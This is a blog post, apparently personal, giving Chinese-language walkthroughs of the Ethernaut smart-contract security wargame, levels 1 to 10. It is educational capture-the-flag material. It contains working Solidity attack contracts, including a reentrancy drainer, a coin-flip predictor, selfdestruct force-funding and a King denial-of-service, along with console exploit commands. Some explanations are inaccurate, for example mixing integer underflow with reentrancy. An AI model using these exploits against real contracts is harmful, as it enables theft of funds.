ethernaut个人题解
Ethernaut 是 OpenZeppelin 开发的一个 Web3/Solidity 的游戏,通过闯关的方式来学习智能合约安全。每一关都是一个需要被攻破的智能合约,通过发现和利用合约中的漏洞来通过挑战。本文记录了的日解题过程。仅供参考,欢迎交流。
个人感觉的难度:
- [Easy] - 基础概念和简单漏洞
- [Medium] - 需要理解合约机制和常见攻击方式
- [Hard] - 复杂的漏洞利用和高级概念
12.01.2025
01. Fallback [Easy]
这关主要考察 fallback 函数的知识点:
receive()
函数在合约接收 ETH 时被调用fallback()
函数在调用不存在的函数时被调用- 通过发送少量 ETH 并调用
contribute()
函数来满足条件 - 最后通过
receive()
函数获取合约所有权
攻击步骤:
-
调用
contribute()
并发送少量 ETH (<0.001)await contract.contribute({value: web3.utils.toWei('0.0001')});
-
直接向合约发送 ETH 触发
receive()
await contract.sendTransaction({value: web3.utils.toWei('0.0001')});
-
调用
withdraw()
提取所有 ETHawait contract.withdraw();
02. Fallout [Easy]
这关主要考察早期 Solidity 版本的构造函数问题:
- 老版本使用与合约同名的函数作为构造函数
- 如果函数名称与合约名不完全一致,就变成了普通函数
- 攻击者可以直接调用该函数获取所有权
攻击步骤:
-
直接调用
Fal1out()
函数获得合约所有权await contract.Fal1out();
-
调用
collectAllocations()
提取资金await contract.collectAllocations();
学习要点:
- 构造函数的安全性
- 代码审计的重要性
- 新版本使用
constructor
关键字更安全
03. Coin Flip [Medium]
这关主要考察区块链的随机数问题:
- 链上随机数可以被预测
block.number
等区块信息是公开的- 攻击者可以在同一区块复制计算逻辑
攻击步骤:
- 部署攻击合约复制游戏合约的计算逻辑
- 手动调用
attackCoin()
十次(每次等待新区块) - 确认胜利次数达到10次
注意:不能使用循环连续调用
attackCoin()
十次,因为每次猜测都需要在不同区块中进行。如果在同一个区块中多次调用,会使用相同的blockhash
,导致预测结果相同。
攻击合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract attack {
ICoinFlip public targetContract;
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _targetAddress) {
targetContract = ICoinFlip(_targetAddress);
}
function attackCoin() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
targetContract.flip(side);
}
}
学习要点:
- 链上随机数的局限性
- 不应使用区块信息作为随机源
- 可以使用 Chainlink VRF 等预言机获取真随机数
- 理解区块链的时序性,每个区块的信息都是唯一的
04. Telephone [Easy]
这关主要考察对tx.origin的理解:
- tx.origin 是交易的发送者
- 攻击者可以利用 tx.origin 来欺骗合约,使其认为攻击者是合约的拥有者
攻击步骤:
- 写一个攻击合约
- 调用
changeOwner()
函数,将合约的 owner 设置为攻击者
学习要点:
- 理解 tx.origin 的局限性
- 使用 msg.sender 更安全
05. Token [Easy]
这关主要考察对solidity的漏洞的理解:
- 在 Solidity 0.6.x 及更早版本中,
transfer()
和send()
函数存在漏洞 - 在 Solidity 0.6.x 中,如果 balances[msg.sender] 小于 _value,balances[msg.sender] -= _value; 会发生 整数下溢(uint 从 0 减去 1 会变成 2^256 - 1)。 这会导致攻击者的余额变得非常大。
- 这些函数在处理错误时不会回滚交易,而是返回 false
- 攻击者可以利用这些漏洞进行重入攻击
攻击步骤:
- 先查看自己的msg.sender的余额
- 调用
transfer()
函数await contract.transfer("0x0000000000000000000000000000000000000000", 21);
- 查看自己的余额,发现余额增加了
学习要点:
- 理解 Solidity 0.6.x 的整数下溢漏洞
- 使用更安全的函数和库(SafeMath或者自行添加溢出检查)
06. Delegation [Easy]
这关主要考察对delegatecall的理解:
- delegatecall 是低级调用,可以调用另一个合约的代码,delegatecall 是一种底层函数调用,它允许合约 A 执行合约 B 的代码,但使用 A 的存储上下文。换句话说,合约 B 的逻辑会影响合约 A 的状态。
- 攻击者可以利用 delegatecall 来调用合约的代码,从而获取合约的所有权
攻击步骤:
- await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)}); web3.utils.sha3("pwn()") 会生成函数签名的哈希值 .slice(0,10) 取哈希值的前 4 字节(这是函数选择器)
学习要点:
-
在使用 delegatecall 时,必须确保被调用合约的逻辑与当前合约的存储布局一致,否则可能导致存储被意外覆盖。
-
实际开发中避免漏洞
-
避免在 fallback 函数中使用 delegatecall,除非有严格的访问控制。
-
使用现代的合约框架(如 OpenZeppelin 的 Proxy 合约)来实现代理逻辑。
07. Force [Medium]
这关主要考察对selfdestruct的理解:
- selfdestruct 是 Solidity 中的一个低级函数,用于销毁合约并将其所有余额发送给指定的目标地址。
- 攻击者可以利用 selfdestruct 来强制将合约的余额发送给目标地址
攻击步骤:
- 部署一个新合约并向该合约发送以太币。
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract ForceAttack { constructor() public payable { // 构造函数可接收以太币 }
function attack(address payable _target) public {
selfdestruct(_target);
}
}
2. 调用 `attack()` 函数,将合约的余额发送给目标地址
```js
// 调用攻击函数,强制发送以太币
await attackContract.attack(contract.address);
// 验证 Force 合约的余额
const balance = await web3.eth.getBalance(contract.address);
console.log("Force Contract Balance:", balance);
学习要点:
- 理解 selfdestruct 的机制
- 确保你的合约逻辑不依赖于余额为零的假设。
- 避免在代码中直接检查合约余额。
08. Vault [Easy]
这关主要考察对区块链的存储的理解:
- 区块链的存储是公开的,任何人都可以查看,哪怕存储是private的数据也可以查看
- 攻击者可以利用区块链的存储来获取合约的密码
- Solidity 中的所有状态变量都存储在合约的存储槽(Storage Slots)中。
- 公共变量(如 locked)可以直接通过合约接口读取。
- 私有变量(如 password)虽然标记为 private,但实际上只是在 Solidity 中不可直接通过合约代码访问。它们仍然可以通过低级的存储读取方法(如 web3.eth.getStorageAt)获取。
攻击步骤:
- 使用 web3.eth.getStorageAt 读取存储槽 1 的内容(password 存储在存储槽 1)。
await web3.eth.getStorageAt(contract.address, 1).toString();
- 将读取到的密码作为参数调用
unlock()
函数。await contract.unlock(password);
学习要点:
- 理解 Solidity 中的存储布局
- 使用低级函数(如 web3.eth.getStorageAt)来访问私有变量
- 不要将敏感数据直接存储在链上,即使使用 private 关键字。
- 如果需要存储敏感数据,建议使用加密方式存储,并仅在必要时解密。
09. King [Easy]
这关主要考察对重入攻击特殊变体的理解了:
- 重入攻击是指攻击者利用合约的漏洞,在合约执行过程中多次调用某个函数,从而获取更多的利益。
- 攻击者可以利用重入攻击来获取合约的控制权
攻击步骤:
- 如果当前国王是一个智能合约,而该合约的 receive 函数无法接收 ETH(或者故意导致交易失败),新的国王就无法成功调用 receive,从而阻止任何其他玩家成为新的国王。
- 部署一个攻击合约,并通过攻击合约成为国王。
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract KingAttack { address public target;
constructor(address _target) public {
target = _target;
}
function attack() public payable {
// 调用目标合约,并成为新的国王
(bool success, ) = target.call{value: msg.value}("");
require(success, "Attack failed");
}
// 故意让接收 ETH 的函数失败
receive() external payable {
revert("I refuse to give up the throne!");
}
}
3. 部署攻击合约并提供足够的 ETH(大于当前的 prize)
学习要点:
- 理解receive函数的作用:在目标合约中,receive 函数是接收 ETH 的核心逻辑。如果接收方不能正确处理 ETH 转账,会导致交易失败。
- 防御建议:避免使用低级调用(如 call)进行转账,可以使用 transfer 或 send,它们在转账失败时会自动回滚。
- 在合约设计中,避免依赖外部合约的行为来完成核心逻辑。
- 使用现代的合约框架(如 OpenZeppelin 的 ReentrancyGuard)来实现安全重入控制
## 10. Re-entrancy [Medium]
这关主要考察对re-entrancy的理解:
- 重入攻击是指攻击者利用合约的漏洞,在合约执行过程中多次调用某个函数,从而获取更多的利益。
- 攻击者可以利用重入攻击来获取合约的控制权
攻击步骤:
1. 编写攻击合约
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract ReentranceAttack {
Reentrance public target;
address public owner;
constructor(address payable _target) public {
target = Reentrance(_target);
owner = msg.sender;
}
// 调用目标合约的 donate 函数
function donate() public payable {
target.donate{value: msg.value}(address(this));
}
// 发起攻击
function attack(uint256 _amount) public {
target.withdraw(_amount);
}
// 重入逻辑
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(msg.value);
}
}
// 提取攻击合约中的以太币
function withdraw() public {
require(msg.sender == owner, "Not the owner");
payable(owner).transfer(address(this).balance);
}
}
- 调用
donate()
函数,将合约的余额发送给攻击合约await contract.donate{value: 1 ether}();
- 调用
attack()
函数,发起攻击await attackContract.attack(1 ether);
学习要点:
- 理解 re-entrancy 的机制
- 使用现代的合约框架(如 OpenZeppelin 的 ReentrancyGuard)来实现安全重入控制
版权声明
本文仅代表作者观点,不代表区块链技术网立场。
本文系作者授权本站发表,未经许可,不得转载。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。